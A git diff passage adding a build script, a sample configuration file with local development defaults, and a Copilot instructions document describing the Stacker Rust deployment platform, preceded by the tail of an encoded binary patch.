z`Wk66xdR*|z@p~C#+L=gphtzzBq;JB&In^1%KC4HlViH)oNNeQ@$7z9gdw-#(O*n* zyzRaY=#~6>DceGFo;1Xv$021ym1AJ8y`;peU;zHC|*6p}Avn+NPj!{Js=! z+ejDZ9KwZ7JBE3ZYeZ%jaY4+fQFiuIp6Shm5~xh@{Zn~@G!%`p5j`ilU1XInWK$Bo zpWDz`!cT(MiB{`GaEvJqWs_IJ`b|dggJPQcBjpR!-$sS|xonS(XC6Ew-|Mt{t~)uM zy`zh^P%e~ssr<(fNsQ%W`pu9GR)G0z={~EgrIR0wo5o}24baCIk4g{!*q=uFc$6lW zF%b`6Q_(BQa}~9&rf_N>fi_THYqeXfW&b=sg5-tw#>N8vB}=zJy>?3vUzb}-a*>^W zD>whY2p3Y~t$a<}K_*W#1Zk6|p=o@@E_K8JG*a-G(jT(wY#yb~Vmx?un-WOlU#e#) zObusz7e7s>zjw#>Mnhb}<^c;Na8ZiM2bT8Pj>LXL!v(I)V=wkh4nJ<>aNZ-uwgmtMb*Jg5kq5BSvSf$KPP3~e0-qm6NVdX)YE9>^k z1^>A3sgphpxlr?5Y(Wxk;|Uau^8~Xb6MYTU=oXqlwL|Z@Oq#oyKCp9oO1Ht4ej|<- zn5B>xF5i*fM_o8{)ko_Z|CM?&sM>eb>uL*V1Jq~`*q7~|1HEmkH2`@xc&B_YClYTr6Gt~WCDQUG57R`MUgy}4CZHN!iGqCX_*N^AvNyea1usToG<6bYvh&1sE~^F_h_dS{_M=m}>I zoI~CbYQW{M0f_J5yV1)=!@_L*>VB9sQ|B9Ts&ee^gLbMbCG7<jFitHkm~$G?$GN=ty}P5R7i2}M86fmo3X7zrao0>XxA}x z%Rb1*WxGaU`(37BbOoh+WkN*HG}45>Ps*o)v)IR z{5C<*k{_N9M|GkvVYF0HxJG)=R??`e#k3hIL@eG>7(`;Bd-##-GK+3*#60#k#RgZX zKsd0qWMpMJ}VW0{_^&yCT^8i(-1poNf<5=OHuJw>i}ZPX{KGL|ddGK`a&rZ(*h zKh=~T9Vyl?)}7~qi2fb;#e1idBa%Kj#L`G84WZk=99B-*w5+Gb2Dm1kdY*g-gHC6c zmmj5NjGh}92Gw0Z_0%p|lbb2RCR)N-vS8liu0%MP8gpNe$excDe428&47d^bP%FD&}C;m(;tqksY9`(Po*S=_cBdBTXs@Z zKEl4(LaYR4ehJ5}KB;UXM4Gj%b6xfbJZ$mg;X3rLnw1Ug`AO`NS|-rbl*BmJgo{5l z#IPUhkhOIq>kWgEROIS0pk>QP5H+a)5+cZQQ%=|xD&Ws*P)_!#?1X>Tuw3v!-s-g1 z?yFWX=}mA>6gfCBbC~H}7@bj6p1AF=K6C*%^mJVr1BuG>p~S zUOnn9-D&)=FEM+*(NMw#weT#KV!1b;yY=||{v*IVltS#ynrn6hN__jEOAhNvFi-4X z<>K$+euM>;`LQh*xe^is1yG_H^mlO+cb1OHEi$Y^i>NS#>=3K?=++sAg9E_WhWCG}5N?t5PT|aEQ zF<}pN_;cTTC;2|skYTwCzL8(fyitD>E9sP$7-FAuvyb%U#YH6crcM=0`0NkSyw~JY zu$(AaVe;s{_Yei=@9lu{*i8m?PFu2e4m#Tvh6LIj|Mt;Nu9^gDxd!sEyp6Byc) z+~w$!<)=8Ld>(W|F_IlEE)XdX#2gS;kfd*r9eocXH(NQFi(}=!*!n4nc3mWvuv6g? zn%b^G^uj#W3LL{UZ=D?T#09H9D9}{+GEg9enTe%6nfjkq;d-M3OK4Au7tcEZ-3Mu^ zmj5tw`|9JshL0L_O>~Kddmo(i6BO;S%o+xzeiC65N2`mwlSLQ(U)|hC47G6Hxwn1%&tl}av^W&FRW4cKa?z7iyNh%~jF04QmR7?2!RZItLE_ctq=N`v$)hLigP z`yqW(FDRW47K2wi&h<>4o8wm=9K_0ybXGlbF*y=E*^`3Bsut9!rxQ(-Pe1LBFV@HZ z>$aHy3s66z0+g#hyw}e@EV_!V$mB`^hLX-fq%~A|0?1I zX}WpI{+3+=`;ha@n}XcEAg{a{V+UKvmE)D_MapkuqaQ~13FbooMXx$#!Ve)zd*~V{ z2d_rQQ^fU>x3e`ez(uf=O3q!}Lr#hG-`sL*-Bis#&9=tAga}RlV8rQfZ_>14i{eNiwXxSMsq(j-$r9ggI_t3 zk0vrgOocHiuGf)&a4TEqwf!*d{nf&;^uvn4b`j<>VYC4BJm!=T2jzAHPgk$Oq^l1yTsVBea6k4iEyW3WXK zmw)w6A`Q%74Xmg6VCAa#B0-zoI;pR4RZw*6+{3# z9+O?vAr^%~$n}o4mSLiH3n|X_XZ4kLRRk>;*)Z%Vn?A*7h?SmgP-UY3u8u|anXq-h zyKZ-yX>6Xmj^2RAH&g}5TE|p-9#}XA4Ubrp=Xme`LhQ`Hws1q~Qtj?;KhBXf+>|%l z(uCtRYJq?oH%gd+L%SVSQp!D5k-ge%%>A8DRi_;F<2&K0(uIuiR@>Sv63g70Om~oR zu1?pjPE5v~?5Xb#Ml!)~(uA+WT&;1@(8J;geDxPmw2d9{nRM~nhO(!@F5-j-v z58a>d{i3KISP;fq!MJ-9-6)kCO6Ib)L9;7Ao1{u^ug(b-BV4BJd@kXFulX&QQys-UHw7JCqirp67s&ozebRDXXaJB!Wt79x8^J61NU zUa!cren(p(W^fBZ%hBg39H2`hr{fm0OLiY{Rnx>%F5G=(YM(8A?$UutA#-aCB=h9T z;8FvsH{>V6-%jDC#=u^h)!Q~WXe z&WVFMV#ekZ#72Ymm15Gop{y1o0i>rFvXC5H66OTTX}?V@m&A=o+U|DXy{qEJE`I85 zPw;wenpAy8Q$|pyR4*i@LzbrT>-@q$gh{ zaq7Z^6ad1U>+~k;8uor*m<(vzU4AXCn#hsv3xVjA_vUb^k z@qlZQ6E~Ub_(Rck&R9;rD+Z%yFfQ2RyW&Z^Y^2+<<%SALYBJQezw~pAYktufvb+2o zBDLT=6axpYTbtZ*KXmyF&Ml1J(C`go4g_(SDV-g%P||_3AALewZCY7)(>}o4z%P$m zST%1vQw2}>#Hioblv+X@9v=^;qZ?0t8-b}5c5QnLzr-d-i+i=ZB6J?F4^s*m0sn-` zmuH=WlaOPqg)=X97r=l=r}*rmfbzmEcaFncI^vf_fFn^P3HAGZPA)_kQFZO)V*x0k z^Qud07P&BpzOaLyn)_C2yw6XR+J|yst|4Y0XpBgQ@**SNC_B36q-+$Kb&AjYuZL3Q zz2C=c&8C+9^Xl6DfQ={p#5HO?`Dvqr23gZg#*4NiMqFbs7R$qoVh-)DVG})_hnGav zUyTd?qO;-wi&zl|!Xj{5@kdlQjv`{wCQ`R#Kh5ijMr?87F z7fE639ouK~9}c5L&~HcVWsF8E@0NYzFfK8#PSO+wKUA4n zqqu*K^aDEe88GGxicxh+O-->KAS!AXR(~;m@I5f>wOfjG8X=l+n=ven_o`awC6>Mm z--5E`Fr9XI0A@i)1tC*0U1dRQDq2fj^~!$#Pu!h!ryM?*X$^@bmfpqbwD6ak(X6GE zAJ&IV-I0udM3~a4gusfT+AA`<{I6K-tP^y-_=)`v7P-mPwgHi{+@t|EQ2=qnNM zhAJ3Mhp^~eJFA35lsbj~El>Ifb9r(t!ot*62UHz84t@=Rg;h00^+)B|F;S@WR{1;Y zP$^D03s3suQ-cI{j@He<`oysc{36)~`jl5}j1wv<(XuVpj;C8L|BS$tXTeBj+*qk| zA}0ulwrCR4eq776VI-JN-A6z97Gy6MFn)AATXx1Sv0wA+Q`Hn70_|-*veQeTOQYrE zkYuOKJxmxUhG)lZ>@^jWFoW622R`EgIR#^GSYkLD=R*DnFZt+-nIz{ElLpJF`OqHw z{T&eZ`GqG3k2a>45s2V6Lo%zUdN3zGN_D+54GCvWDx!sXbConI%ne{NxLSN|M?r(2 z!8!qyk6Jz1h*%{KbxJV5jY*n{=9SfY0^8sZ+S2Xpp;q1f**;M&dH*gW9pG(Md=@`e zfZwN;q)G^~u0XYolczl;NjX$c<(TuCIhn6jOt+hs9P5<86E!@I2&o;?DU!;)sp)ae zUi+KD!DQ;0fBr-!k72VON}-b{1I<`U9*}0feQul8iYkP@-k9F_YDv;^H_d2$D^O4; z8b~a`vn^yIuUlDamFxH5Xai+O#)vXRWD*W4FJ`WgG%QJZ$JfnSb+R|i#vP5EuYM=D z>gpM}4LE!&#~#HrcZpG^nKT=vxJo)>nqn9JfQXd9Fgq_H4!W4pkiXV)tH~47_9H8k zwH)YXH1t+BMVo7|4g5A)7%EQ5-t`oTQikZP>3 z#Hp6WV!x7ttS)bqb%N)#G%c)UWh}(#LY2Nn!2!Rde&m9DlJxl({jPI;Q^g(z#`>P@ zYNBD^Ur@`hL=7*={#4xdX3ZvM(QEw`C`O+$qy7~*Q0mKcG%1Ol%~Q+}@6%O9Wz9+) zUG_@A2C^i`+t%&t`73oCnwP>o2Zb%7g%cTvBkI21Dn{~c(WH?o5xY+UZe@l)W8o7< z3HK=f9PQDdY1OBzB0;r$5GfrD)58ZTYck!Awn^)zO(F~{bTllF!>%r&aO|p#6@AnV zU+i$+hMaQ>&;d_s)%KQntz2^fxg$vfXaWZ0Tkx{;9yv4@`%VrEzdPfn?{hB3g}0!v z=-ODoMXbQL&>k@uH#rBX@^l4vdpoIYVqWPh7*h7oAUDTZ=jTL9Rnm|`_z|^-E1#cj zE0fTLVm8IzF+#os593Hb_^32?PUi;;HA&>$9xk6tJ^NaOhAAyDIz zq~*HKs9qcMN%`&bGdZLE7V9Cxq}sjpz(`6}-HQVB&F2~>*Ac5W+Q}hXkboNEKS`(3 zJ6+4+qv5qW~jMCtEd5nmL+Mg<)DIIU}F;s8Z1N+#rO!NntxKCUT}Q<`}j?I(kJU3|sa;IkcBK@Xk{G{HU;^zC`0gXO8aVM6*a?Cy%IMrlamJkZ?!)7@_RDf6kU zx;9pQSPf8WH%Brx)x^Eu$c=%)3^+1jGWzAsx>GLyvN4;zPcJAGA>874E8-->^HkPSzQnm+&FL_vO3dr~mZG+#V4xp{c53?=K;NmznSAR?^qT z9U7rk*eE~_ii4&V+Nj4B;IKEh36A$j0)7W*TE)ay%F+VMEAFCAKx`#5$rP9jvwBrC z|D{>RFxMeTug~zarsH-cTW!nKI_Ocowh)*)ElP2n)auK+NzW2>y9rOBbrhFa-cG8Q z-5w_S`wB_UqRPU z@l^%lk{{Almo}{Z`z+QvD4zb)A*lhs6L5rCkH+D58$$N8dD6S};((J5+nZCrF$f(| z73uqEN_LbfrQ!9{Z+B^!%WPN&b*XkG0#=9dn2N{iPv>JFd~=1`Lv@2fCBCq9sa;R< zKor5|KC6xdAjyEWP@No{)=i$TD;A{K*F3dsy5{-WU+1st-dh0=6W_Gr#_9_<`gghL z;3M%ZQl*&3wkZ~Eldp)%3Pqn|AK3*Nh&A|85j^OWp!FUz-mj=(eW9{~kO%&164G27 zhFkR`d91iD#CGw0-yjF7XDGJGM@3yf=YsQF)$=hXFy}&kv~kS5G>|1I;|rJ67e zpc6->el#)+Qv=OQyqqv1yg?~O#WNb(gft-i+2@>Ea_xGG$jr^I7>vi}zg^9a>^WS| zWT*cbar=m#Y&BVHrKca8f8Rx(mSQxr2F&DNTR*E>3?_wM;U~b>`iVBiqbHYJ!%O$Y zu6X#aT~OL^7T=%a)uwn8$2u}x8AW#d15SLP%fjz%|GJ1|>{COUc^(}aQF2tqjfTu{ zI~c^ABiQ!N;HEptW*kxeN4P3=*k-X7kc-_8R0Ov?tR6M5?L5-+;Ob|uu}jcI=}AUHuf?$@VK)Ev z)N!n{ADM@}UeGW@6-*-z=^X{0Ld|-G+^= zCkktRCv6|wIc0%mu+7q$Ymrhh&48PzVEw} zL2w-0WQuzcy3ql~Y~tGKqpiyY47=(19ea24tEUm()sCW9hNUz&7`np`>>hsP{rNsfYg-u$o2&64QB&Q z+`gnPm0vbN=sr#c7PL2tfAuvFYyMH5U{LSyQCR11Bn9#XzEe9Jk zcppyYl9CQLq{~VpvwwCq$XENYp^B_?t?@7Mpajrgo{(K6K)SZoGA`caVti{+;j4Lj zf9(G7*-?>HKk5%=YWefBI#PQ43J#|BvlzNj`q<;Hl6puuV{fJq0NW#KHZSv<;?+m*kCB|!V0!SO0V4fjG& z^v231wQsH)9bUSAV>wO#usj)V(zBc3(d1Z4*Jl8{&zz@N3N(cCuPYAhikoQrD!uWF zuFdAd{Q>^_DO&FNB=&!s4kWaORlL%&3Qtg7xhr@oI8^cpHjD*f5?;S>d}X$h_+aT( zyRd-8@05&hysf&EpBw+v`v_e%op>S_01#-?X|UWMiD{2(Hg6t!BQVEJRceZDdZy@i zh8I8Ggjf=5pa=2fC~g$8oa0_<_~QYWkVIIiML21xyp!5B;gfuqyE@$Vs!Dx^?|0?S zHzKzOETY*YL0z&2e!{}1iWkw4Q`!hu5~`nr5r7iDp|2eZx$oy!%PFhh8^-S$H6L^% z8PvQO3#Cr&ez~vMSQ+|1?@LbwPnf9Btxgt*F6eHi{uRYNNEZYNyg%*!yAB6pnfuQ1 zRZ|>a#libVGPVVLtYLsjsxZcFAnKj9;l3tTrMMC(cR z%M}S5y`*Q$iW$p~_`pok76Cb6f6})*p6!M19Iq?o(1cssc3;7M3iwJ)i%xpPx7ofR zT&Y>kQ$ZLb`#0KRa^9p$UB!h|P>L}_u%F7sH<<17*q254o%r9CY3`jqds^X|l4WA@ zn-GH6jsMBi@VAQqdBK%m9W^KkcNG_bUY*ub>sZ}^b@=XA1LQZioUI=Se;xa=ZhRKL z5@Z~@dpoxDLutcfO0lDmj-2`q+`FU; z3F4oRm1a5>t>oQNi;;HNlPZ&O3C<~-)Ps1lm!S_&aXV!x<7*7Y9rm*8>u`hbWKT!y zS1;biEy#yNk9H^{fOSAoF%p)9cJj{9NB04t~wb+|pSjzHlz!Pxhj;6RqVz>?m*g*nWIeq+Zzrxj{9HZdFK z#o8%6V1$fSVb9?f`LCF~>Qcd%Z<)Fy6fv4ZWk9#<(k}!SFtTmTVJSNr!b^~d!*1#W8N6>p|7JwnUrO6=I}V~jVd|{x z;N%3(pt~o%Be-9P)-6_x6a4jptPV9i9v5p+SLef#I?$5cxOd9pk<8H4YHh>i9qIMo zvb~6d1hULfhc+0opVVk_eQ(Y(U!!T}biw)~;jVuUdI??#-xWioXCe#9g2qXUqJLr& zg}kcQrY7@%cM)iQ{bs%~|CGVFp_}bfSr^e8tvipJle}-D$--U+A#|{ehP}h(OyOM< zF-dTbCy`6nz1TVShNBIE=jPO#4TDtP0xq1gu=K+_BSyS)W%Q*^=X;k@rOo${RgpOr1e z6qXYzO&>JFOPpFHA0SHk81=P~-*92OjjfIKVYg?tR0POGAa~x+Blt>>%c%Ty_Q0`n z63ie~Hl)~8W#-l^w{6KN5c^ZXQ<0Lqh0>^abBHmwTq{%QH*TxyRUKvoBBp4WAOpfQ zu}w<@ePysaw;8J;(O2`w4O3xD^tz3PeZop@rWO^Qy$loTFh$b%*AR?;l}n2^>F5+q z_a@N-N=bR(U3WXtel}|e1;9iH;4OE{gcI5TG_DZV02dSNYQOij2Ya|>_s-K*?fN*< z`2snJDZZ&(MdwQ~56cX4B$e(6{xcdka&*ohx)r=QTnPqv1QVctOHjfSLg~qbX|Wrd z9b^9^=2F$rzhLGLLj)z=gW>eQ+y92(f3x6!AHx6RT0jl|`2z*GG)jPYiq`rGa>+_6 KNz{lL2mc?PGwWIa literal 0 HcmV?d00001 diff --git a/stacker/stacker/build.rs b/stacker/stacker/build.rs new file mode 100644 index 0000000..5577c83 --- /dev/null +++ b/stacker/stacker/build.rs @@ -0,0 +1,100 @@ +use std::env; +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +fn main() -> Result<(), Box> { + emit_git_short_hash(); + + let proto_includes = collect_proto_include_paths(); + + tonic_build::configure() + .build_server(false) + .build_client(true) + .compile(&["proto/pipe.proto"], &proto_includes)?; + Ok(()) +} + +fn collect_proto_include_paths() -> Vec { + let mut includes = vec![PathBuf::from("proto")]; + + for candidate in [ + PathBuf::from("/usr/include"), + PathBuf::from("/usr/local/include"), + PathBuf::from("/opt/homebrew/include"), + ] { + if candidate.join("google/protobuf/struct.proto").exists() { + includes.push(candidate); + } + } + + includes +} + +fn emit_git_short_hash() { + println!("cargo:rerun-if-env-changed=STACKER_GIT_SHORT_HASH"); + + if let Some(hash) = env::var("STACKER_GIT_SHORT_HASH") + .ok() + .and_then(|value| normalize_hash(&value)) + { + println!("cargo:rustc-env=STACKER_GIT_SHORT_HASH={hash}"); + return; + } + + if let Some(git_dir) = resolve_git_dir() { + emit_git_rerun_hints(&git_dir); + } + + if let Some(hash) = + run_git(&["rev-parse", "--short=7", "HEAD"]).and_then(|value| normalize_hash(&value)) + { + println!("cargo:rustc-env=STACKER_GIT_SHORT_HASH={hash}"); + } +} + +fn normalize_hash(value: &str) -> Option { + let trimmed = value.trim(); + if trimmed.is_empty() { + return None; + } + + Some(trimmed.to_string()) +} + +fn resolve_git_dir() -> Option { + let manifest_dir = env::var_os("CARGO_MANIFEST_DIR").map(PathBuf::from)?; + let git_dir = run_git(&["rev-parse", "--git-dir"])?; + let git_dir = PathBuf::from(git_dir); + + Some(if git_dir.is_absolute() { + git_dir + } else { + manifest_dir.join(git_dir) + }) +} + +fn emit_git_rerun_hints(git_dir: &Path) { + let head_path = git_dir.join("HEAD"); + println!("cargo:rerun-if-changed={}", head_path.display()); + + if let Ok(head_contents) = fs::read_to_string(&head_path) { + if let Some(reference) = head_contents.trim().strip_prefix("ref: ") { + println!( + "cargo:rerun-if-changed={}", + git_dir.join(reference.trim()).display() + ); + } + } +} + +fn run_git(args: &[&str]) -> Option { + let output = Command::new("git").args(args).output().ok()?; + if !output.status.success() { + return None; + } + + String::from_utf8(output.stdout) + .ok() + .and_then(|value| normalize_hash(&value)) +} diff --git a/stacker/stacker/configuration.yaml.dist b/stacker/stacker/configuration.yaml.dist new file mode 100644 index 0000000..01a237c --- /dev/null +++ b/stacker/stacker/configuration.yaml.dist @@ -0,0 +1,95 @@ +#auth_url: http://127.0.0.1:8080/me +app_host: 127.0.0.1 +app_port: 8000 +auth_url: https://dev.try.direct/server/user/oauth_server/api/me +# Bound auth dependency latency so API routes do not stall behind a slow auth service. +auth_request_timeout_secs: 5 +auth_connect_timeout_secs: 2 +max_clients_number: 2 +agent_command_poll_timeout_secs: 30 +agent_command_poll_interval_secs: 3 +casbin_reload_enabled: true +casbin_reload_interval_secs: 10 +database: + host: 127.0.0.1 + port: 5432 + username: postgres + password: postgres + database_name: stacker + +amqp: + host: 127.0.0.1 + port: 5672 + username: guest + password: guest + +# Vault configuration (can be overridden by environment variables) +# For production, set VAULT_ADDRESS=https://vault.try.direct (not Docker-internal IPs) +# The status panel agent authenticates through the Stacker server, which validates +# tokens against Vault. Using a Docker-internal IP will cause 403 errors. +vault: + address: https://vault.try.direct + token: change-me-dev-token + # API prefix (Vault uses /v1 by default). Set empty to omit. + api_prefix: v1 + # Path under the mount (without deployment_hash), e.g. 'secret/debug/status_panel' or 'agent' + # Final path: {address}/{api_prefix}/{agent_path_prefix}/{deployment_hash}/token + agent_path_prefix: agent + ssh_key_path_prefix: data/users + +# External service connectors +connectors: + user_service: + enabled: false + base_url: "https://dev.try.direct/server/user" + timeout_secs: 10 + retry_attempts: 3 + payment_service: + enabled: false + base_url: "http://localhost:8000" + timeout_secs: 15 + events: + enabled: false + amqp_url: "amqp://guest:guest@127.0.0.1:5672/%2f" + exchange: "stacker_events" + prefetch: 10 + dockerhub_service: + enabled: true + base_url: "https://hub.docker.com" + timeout_secs: 10 + retry_attempts: 3 + page_size: 50 + redis_url: "redis://127.0.0.1/0" + cache_ttl_namespaces_secs: 86400 + cache_ttl_repositories_secs: 21600 + cache_ttl_tags_secs: 3600 + username: ~ + personal_access_token: ~ + +# Env overrides (optional): +# VAULT_ADDRESS, VAULT_TOKEN, VAULT_AGENT_PATH_PREFIX +# USER_SERVICE_AUTH_TOKEN, PAYMENT_SERVICE_AUTH_TOKEN +# STACKER_AUTH_REQUEST_TIMEOUT_SECS, STACKER_AUTH_CONNECT_TIMEOUT_SECS +# DEFAULT_DEPLOY_DIR - Base directory for deployments (default: /home/trydirect) + +# Deployment settings +# deployment: +# # Base path for app config files on the deployment server +# # Can also be set via DEFAULT_DEPLOY_DIR environment variable +# config_base_path: /home/trydirect + +# Marketplace asset storage (Hetzner Object Storage / S3-compatible) +# marketplace_assets: +# enabled: true +# current_env: dev +# endpoint_url: https://eu-central.objects.hetzner.com +# region: eu-central +# access_key_id: your-access-key +# secret_access_key: your-secret-key +# bucket_dev: marketplace-assets-dev +# bucket_test: marketplace-assets-test +# bucket_staging: marketplace-assets-staging +# bucket_prod: marketplace-assets-prod +# server_side_encryption: AES256 +# presign_put_ttl_secs: 900 +# presign_get_ttl_secs: 300 diff --git a/stacker/stacker/copilot-instructions.md b/stacker/stacker/copilot-instructions.md new file mode 100644 index 0000000..20ffb6c --- /dev/null +++ b/stacker/stacker/copilot-instructions.md @@ -0,0 +1,512 @@ +# Stacker Codebase Analysis for Copilot Instructions + +## Executive Summary + +**Stacker** is a Rust-based platform for building, deploying, and managing containerized applications. It's a three-part system: +- **Stacker CLI** (`stacker-cli` binary): Developer tool for local init, deploy, monitor +- **Stacker Server** (`server` binary): REST API, Stack Builder UI, deployment orchestration, MCP tool server (48+ tools) +- **Status Panel Agent**: Deployed on target servers (separate repo), executes commands via AMQP queue + +**Codebase**: ~29,453 LOC of Rust, structured with clear separation of concerns across modules. + +--- + +## 1. BUILD/TEST/LINT COMMANDS + +### All Commands (Makefile) +```bash +# Build all binaries +make build + +# Run tests with offline mode (uses cached SQLx metadata) +make test # Run all lib tests +make test TESTS=test_name # Run single test + +# Code quality +make style-check # Check formatting (rustfmt) +make lint # Run clippy with warnings-as-errors + +# Documentation +make docs # Generate cargo docs (with dependencies) + +# Development (watch mode) +make dev # `cargo run` (runs 'server' binary by default) + +# Cleanup +make clean # Remove build artifacts +``` + +### Running a Single Test +```bash +# Tests in src/ use #[tokio::test] async annotation +cargo test --offline --lib test_name -- --color=always --test-threads=1 --nocapture + +# Integration tests in tests/ directory +cargo test --test cli_init -- --color=always +``` + +### CI/CD: GitHub Actions +- `.github/workflows/`: Docker CICD on push to main/testing/dev, PRs, and releases +- Key env: `SQLX_OFFLINE=true` (requires .sqlx/ cache with precompiled queries) +- Checks: cargo check → cargo test → rustfmt → clippy + +--- + +## 2. HIGH-LEVEL ARCHITECTURE + +### Project Structure + +``` +stacker/ +├── src/ +│ ├── main.rs # Server binary entry point +│ ├── lib.rs # Library root (14 main modules) +│ ├── bin/stacker.rs # CLI binary entry point +│ ├── console/main.rs # Console/admin tool binary (with "explain" feature) +│ ├── startup.rs # HTTP server setup (Actix-web) +│ ├── routes/ # HTTP handlers (organized by domain) +│ │ ├── project/, agent/, deployment/, server/, cloud/ +│ │ ├── client/, marketplace/, chat/, command/, agreement/ +│ ├── db/ # Database query layer (sqlx with compile-time checks) +│ ├── models/ # Domain models (match DB schema) +│ ├── services/ # Business logic layer +│ ├── connectors/ # External service integrations (plugin pattern) +│ ├── middleware/ # Request processing (auth, authz, cors) +│ ├── mcp/ # Model Context Protocol (48+ AI tools) +│ ├── cli/ # CLI library (shared with bin/stacker.rs) +│ ├── helpers/ # Utility functions +│ ├── configuration.rs # Settings struct +│ └── telemetry.rs # Tracing/logging setup +├── tests/ # Integration tests (10+ files) +├── migrations/ # sqlx database migrations (50+) +├── Cargo.toml # 3 binaries: server, console, stacker-cli +└── Makefile # Development commands +``` + +### Three Binaries + +| Binary | Entry Point | Purpose | +|--------|-------------|---------| +| `server` | `src/main.rs` | REST API + Actix-web server | +| `console` | `src/console/main.rs` | Admin/debug console (requires `explain` feature) | +| `stacker-cli` | `src/bin/stacker.rs` | User-facing CLI for init/deploy/status/logs | + +### Key Services/Components + +1. **HTTP Server (Actix-web)**: Port 8000 (default) + - CORS enabled, Tracing middleware, structured logging + - Authorization (Casbin RBAC) + Authentication (6 methods) + - Compression via Brotli + +2. **Database**: PostgreSQL with sqlx + - Two connection pools: + - **API pool**: 30 max (fast queries, 5s timeout) + - **Agent pool**: 100 max (agent polling, 15s timeout) + +3. **Message Queue**: RabbitMQ (AMQP) + - Agent command delivery, async event publishing + +4. **Vault**: Secret storage for agent tokens and session tokens + +5. **MCP Tool Server**: 48+ tools for AI agents + - Agent control, config, deployment, firewall, monitoring, cloud, marketplace + +6. **External Connectors**: UserService, DockerHub, InstallService + +--- + +## 3. KEY CONVENTIONS + +### Error Handling + +**Pattern**: Custom `Result` (NOT standard Rust `Result`) + +```rust +// All db:: functions return Result +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + sqlx::query_as!(models::Project, r#"SELECT * FROM project WHERE id=$1"#, id) + .fetch_one(pool) + .await + .map(|project| Some(project)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch: {:?}", e); + Err("Could not fetch data".to_string()) + } + }) +} + +// HTTP layer: Convert Result to JsonResponse +Err(err) => Err(helpers::JsonResponse::build().internal_server_error(err)) +``` + +**Response Pattern**: +```rust +JsonResponse::build() + .set_item(data) + .ok("Success message") + +// Errors: +JsonResponse::build().bad_request("Missing fields") +JsonResponse::build().not_found("Resource not found") +JsonResponse::build().forbidden("Unauthorized") +JsonResponse::build().internal_server_error("DB error") +``` + +### Database Queries + +**Pattern**: sqlx with compile-time verification + `.sqlx/` cache + +```rust +// Standard: sqlx::query_as! (compile-time type-checked) +sqlx::query_as!( + models::Project, + r#"SELECT * FROM project WHERE id = $1 AND user_id = $2"#, + id, + user_id +) +.fetch_one(pool) +.await +``` + +**Migration Pattern**: +- Files: `migrations/TIMESTAMP_description.{up,down}.sql` +- Compile-time via `.sqlx/` cache in CI: `SQLX_OFFLINE=true` + +**Pool Selection**: +```rust +// API routes +let api_pool: web::Data> = api_pool_param; + +// Agent routes +let agent_pool: web::Data = agent_pool_param; +agent_pool.as_ref().fetch_one(...) // AgentPgPool::as_ref() → &PgPool +``` + +### CLI Commands + +**Pattern**: `clap` derive macros with subcommands + +```rust +#[derive(Parser, Debug)] +#[command(name = "stacker")] +struct Cli { + #[command(subcommand)] + command: Option, +} + +#[derive(Debug, Subcommand)] +enum StackerCommands { + Init { #[arg(long)] app_type: Option, #[arg(long)] with_ai: bool }, + Deploy { #[arg(long)] target: Option }, +} +``` + +**User-facing commands** (stacker-cli): +- `stacker login`, `stacker init`, `stacker deploy`, `stacker status`, `stacker logs`, `stacker destroy` +- `stacker ssh-key`, `stacker secrets`, `stacker ci`, `stacker agent`, `stacker proxy` + +### Notable Patterns + +1. **Builder Pattern** (Response Construction): + ```rust + JsonResponse::build().set_item(data).ok("message") + ``` + +2. **Trait Implementations** (Plugin Pattern): + ```rust + pub trait UserServiceConnector: Send + Sync { ... } + let user_service: web::Data> = web::Data::new(...); + ``` + +3. **Middleware Stack**: + ``` + CORS → TracingLogger → Authorization (Casbin) → Authentication (6 methods) → Compression + ``` + +4. **Authentication Extraction**: + ```rust + #[post("/endpoint")] + pub async fn handler(user: web::ReqData>) -> Result { + let user_id = &user.id; // Auto-injected by middleware + } + ``` + +5. **Async Spans** (Tracing): + ```rust + #[tracing::instrument(name = "Fetch project", skip(pool))] + pub async fn fetch(pool: &PgPool, id: i32) -> Result<...> { ... } + ``` + +### Configuration/Environment Variables + +**Pattern**: `config` crate with defaults + env override + +```rust +#[derive(Debug, Clone, serde::Deserialize)] +pub struct Settings { + pub database: DatabaseSettings, + pub app_port: u16, // 8000 default + pub app_host: String, // 127.0.0.1 default + pub auth_url: String, // OAuth provider + pub amqp: AmqpSettings, // RabbitMQ + pub vault: VaultSettings, + // ... more fields +} + +pub fn get_configuration() -> Result { + config::Config::builder() + .add_source(config::File::with_name("configuration")) + .add_source(config::Environment::with_prefix("APP").separator("__")) + .build()? + .try_deserialize() +} +``` + +**Environment Override Example**: +```bash +APP__DATABASE__HOST=db.example.com APP__DATABASE__PORT=5433 cargo run +``` + +--- + +## 4. DEPENDENCIES + +### Core Framework +- **actix-web** 4.3.1: HTTP server +- **tokio** 1.28.1: Async runtime (all features) + +### Database +- **sqlx** 0.8.2: Async SQL with compile-time checking +- Supports: runtime-tokio-rustls, postgres, uuid, chrono, json, ipnetwork, macros + +### Messaging +- **lapin** 2.3.1: RabbitMQ/AMQP client +- **deadpool-lapin** 0.12.1: Connection pool + +### Serialization & Config +- **serde** 1.0.195: Serialization framework +- **serde_json**, **serde_yaml**: JSON/YAML support +- **config** 0.13.4: Configuration file handling + +### CLI +- **clap** 4.4.8: CLI argument parsing (derive macros) +- **dialoguer** 0.11: Interactive prompts +- **indicatif** 0.17: Progress bars + +### Utilities +- **uuid** 1.3.4, **chrono** 0.4.39: ID/time generation +- **tracing** + **tracing-subscriber**: Structured logging +- **regex** 1.10.2, **rand** 0.8.5: Utilities + +### Security +- **hmac**, **sha2**: Authentication +- **aes-gcm**, **base64**: Encryption/encoding +- **ssh-key**, **russh**: SSH support + +### HTTP & Networking +- **reqwest** 0.11.23: HTTP client +- **futures** 0.3.29: Async utilities + +### Authorization +- **casbin** 2.2.0: RBAC/ABAC +- **actix-casbin-auth** (git): Actix integration + +### Dev Dependencies +- **assert_cmd**, **predicates**: CLI testing +- **wiremock**, **mockito**: HTTP mocking +- **tempfile**: Temporary files + +--- + +## 5. EXISTING AI CONFIG FILES + +**None found** at repository root. No `.cursorrules`, `CLAUDE.md`, `AGENTS.md`, `.clinerules`, or `.windsurfrules`. + +**Documentation Files** (similar purpose): +- `START_HERE.md`, `QUICK_REFERENCE.md`, `CODE_SNIPPETS.md`, `IMPLEMENTATION_GUIDE.md`, `ANALYSIS_README.md` + +--- + +## 6. TESTING PATTERNS + +### Unit Tests (in `src/`) + +```rust +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn test_fetch_project() { ... } + + #[test] + 